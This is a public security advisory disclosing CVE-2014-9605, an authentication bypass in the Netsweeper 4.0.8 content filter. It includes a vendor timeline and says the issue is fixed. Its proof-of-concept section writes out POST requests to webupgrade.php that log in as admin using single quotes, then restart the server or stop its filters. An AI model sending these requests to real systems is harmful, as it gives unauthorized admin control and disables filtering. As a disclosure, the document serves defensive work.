Netsweeper 4.0.8 – SQL Injection / Authentication Bypass
+----------------------------------------------------------------+ + Netsweeper 4.0.8 - SQL Injection Authentication Bypass (Admin) + +----------------------------------------------------------------+ Affected Product: Netsweeper Vendor Homepage : www.netsweeper.com/ Version : 4.0.8 (and probably other versions) Discovered by : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com] Patched : Yes CVE : CVE-2014-9605 +---------------------+ + Product Description + +---------------------+ Netsweeper is a software solution specialized in content filtering. +----------------------+ + Exploitation Details + +----------------------+ By adding two single-quotes in an specific HTTP request, it forces Netsweeeper 4.0.8 (and probably other versions) to authenticate us as admin. The access gives us the ability to: i) "Back Up the System" which creates a downloadable system backup tarball file (containing the whole /etc /usr and /var folders) ii) "Restart" the server iii) "Stop the filters on the server" Vulnerability Type: Authentication Bypass (using two single-quotes) p0c: http://netsweeper/webupgrade/webupgrade.php POST: step=&login='&password='&show_advanced_output= p0c restart the server: http://netsweeper/webupgrade/webupgrade.php POST: step=12&login='&password='&show_advanced_output= followed by http://netsweeper/webupgrade/webupgrade.php HTTP/1.1 POST: step=12&restart=yes&show_advanced_output=false p0c stop the filters on the server: http://netsweeper/webupgrade/webupgrade.php POST: step=9&stopservices=yes&show_advanced_output= +----------+ + Solution + +----------+ Upgrade to latest version. +---------------------+ + Disclosure Timeline + +---------------------+ 24-Nov-2014: Initial Communication 03-Dec-2014: Netsweeper responded 03-Dec-2014: Shared full details to replicate the issue 10-Dec-2014: Netsweeper fixed the issue in releases 3.1.10, 4.0.9, 4.1.2 17-Dec-2014: New releases 3.1.10, 4.0.9, 4.1.2 made available to the public 18-Dec-2014: Confirm fix 17-Jan-2015: CVE assigned CVE-2014-9605 11-Aug-2015: Public disclosure |